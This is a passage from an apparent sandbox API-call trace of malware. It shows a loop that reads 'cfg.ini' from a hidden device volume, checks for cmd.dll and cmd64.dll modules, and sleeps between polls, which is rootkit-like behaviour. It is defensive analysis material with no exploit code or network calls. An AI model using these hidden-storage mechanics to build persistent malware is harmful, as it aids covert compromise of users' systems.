ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.523] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.523] IdePortDispatch () returned 0x103 [0122.523] KeWaitForMutexObject () returned 0x0 [0122.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.523] KeLeaveCriticalRegion () [0122.523] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.524] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.524] KeEnterCriticalRegion () [0122.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.524] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.524] KeLeaveCriticalRegion () [0122.524] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.524] KeEnterCriticalRegion () [0122.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.524] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.524] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.524] KeLeaveCriticalRegion () [0122.524] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.524] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.524] KeEnterCriticalRegion () [0122.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.524] ExFreePoolWithTag (P=0xfffffa8003be5d00, Tag=0x0) [0122.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.524] KeLeaveCriticalRegion () [0122.524] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.524] ReleaseMutex (hMutex=0xf0) returned 1 [0122.524] Sleep (dwMilliseconds=0x124f80) [0122.538] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.538] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.538] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.538] KeEnterCriticalRegion () [0122.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.539] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.539] IdePortDispatch () returned 0x103 [0122.539] KeWaitForMutexObject () returned 0x0 [0122.539] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.539] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.539] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.539] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.539] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.539] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6e60 [0122.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.539] KeLeaveCriticalRegion () [0122.539] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.539] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.539] KeEnterCriticalRegion () [0122.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.539] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.539] KeLeaveCriticalRegion () [0122.539] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.539] KeEnterCriticalRegion () [0122.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.539] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.539] IdePortDispatch () returned 0x103 [0122.539] KeWaitForMutexObject () returned 0x0 [0122.539] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.539] KeLeaveCriticalRegion () [0122.539] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.540] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.540] KeEnterCriticalRegion () [0122.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.540] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cae000 [0122.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.540] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.540] IdePortDispatch () returned 0x103 [0122.540] KeWaitForMutexObject () returned 0x0 [0122.540] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.540] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.540] IdePortDispatch () returned 0x103 [0122.540] KeWaitForMutexObject () returned 0x0 [0122.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.540] KeLeaveCriticalRegion () [0122.540] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.541] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.541] KeEnterCriticalRegion () [0122.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.541] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.541] KeLeaveCriticalRegion () [0122.541] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.541] KeEnterCriticalRegion () [0122.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.541] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.541] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.541] KeLeaveCriticalRegion () [0122.541] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.541] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.541] KeEnterCriticalRegion () [0122.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.541] ExFreePoolWithTag (P=0xfffffa8003be6e60, Tag=0x0) [0122.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.541] KeLeaveCriticalRegion () [0122.541] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.541] ReleaseMutex (hMutex=0xf0) returned 1 [0122.541] Sleep (dwMilliseconds=0x124f80) [0122.555] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.555] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.555] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.555] KeEnterCriticalRegion () [0122.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.555] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.555] IdePortDispatch () returned 0x103 [0122.555] KeWaitForMutexObject () returned 0x0 [0122.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.555] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.555] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.555] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.556] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.556] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6a60 [0122.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.556] KeLeaveCriticalRegion () [0122.556] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.556] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.556] KeEnterCriticalRegion () [0122.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.556] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.556] KeLeaveCriticalRegion () [0122.556] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.556] KeEnterCriticalRegion () [0122.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.556] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.556] IdePortDispatch () returned 0x103 [0122.556] KeWaitForMutexObject () returned 0x0 [0122.556] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.556] KeLeaveCriticalRegion () [0122.556] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.556] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.556] KeEnterCriticalRegion () [0122.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.556] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb3000 [0122.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.556] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.556] IdePortDispatch () returned 0x103 [0122.556] KeWaitForMutexObject () returned 0x0 [0122.557] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.557] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.557] IdePortDispatch () returned 0x103 [0122.557] KeWaitForMutexObject () returned 0x0 [0122.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.557] KeLeaveCriticalRegion () [0122.557] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.557] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.557] KeEnterCriticalRegion () [0122.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.557] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.558] KeLeaveCriticalRegion () [0122.558] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.558] KeEnterCriticalRegion () [0122.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.558] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.558] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6b20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.558] KeLeaveCriticalRegion () [0122.558] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.558] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.558] KeEnterCriticalRegion () [0122.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.558] ExFreePoolWithTag (P=0xfffffa8003be6a60, Tag=0x0) [0122.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.558] KeLeaveCriticalRegion () [0122.558] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.558] ReleaseMutex (hMutex=0xf0) returned 1 [0122.558] Sleep (dwMilliseconds=0x124f80) [0122.576] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.576] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.576] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.576] KeEnterCriticalRegion () [0122.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.576] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.576] IdePortDispatch () returned 0x103 [0122.577] KeWaitForMutexObject () returned 0x0 [0122.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.577] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.577] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.577] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.577] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.577] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2150 [0122.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.577] KeLeaveCriticalRegion () [0122.577] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.577] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.577] KeEnterCriticalRegion () [0122.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.577] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.577] KeLeaveCriticalRegion () [0122.577] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.577] KeEnterCriticalRegion () [0122.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.577] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.577] IdePortDispatch () returned 0x103 [0122.577] KeWaitForMutexObject () returned 0x0 [0122.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.577] KeLeaveCriticalRegion () [0122.577] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.578] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.578] KeEnterCriticalRegion () [0122.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.578] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb8000 [0122.578] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.578] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.578] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.578] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.578] IdePortDispatch () returned 0x103 [0122.578] KeWaitForMutexObject () returned 0x0 [0122.578] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.578] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.578] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.578] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.578] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.578] IdePortDispatch () returned 0x103 [0122.578] KeWaitForMutexObject () returned 0x0 [0122.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.578] KeLeaveCriticalRegion () [0122.578] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.579] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.579] KeEnterCriticalRegion () [0122.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.579] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.579] KeLeaveCriticalRegion () [0122.579] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.579] KeEnterCriticalRegion () [0122.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.579] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.579] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.579] KeLeaveCriticalRegion () [0122.579] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.579] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.579] KeEnterCriticalRegion () [0122.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.579] ExFreePoolWithTag (P=0xfffffa8003bc2150, Tag=0x0) [0122.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.579] KeLeaveCriticalRegion () [0122.579] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.579] ReleaseMutex 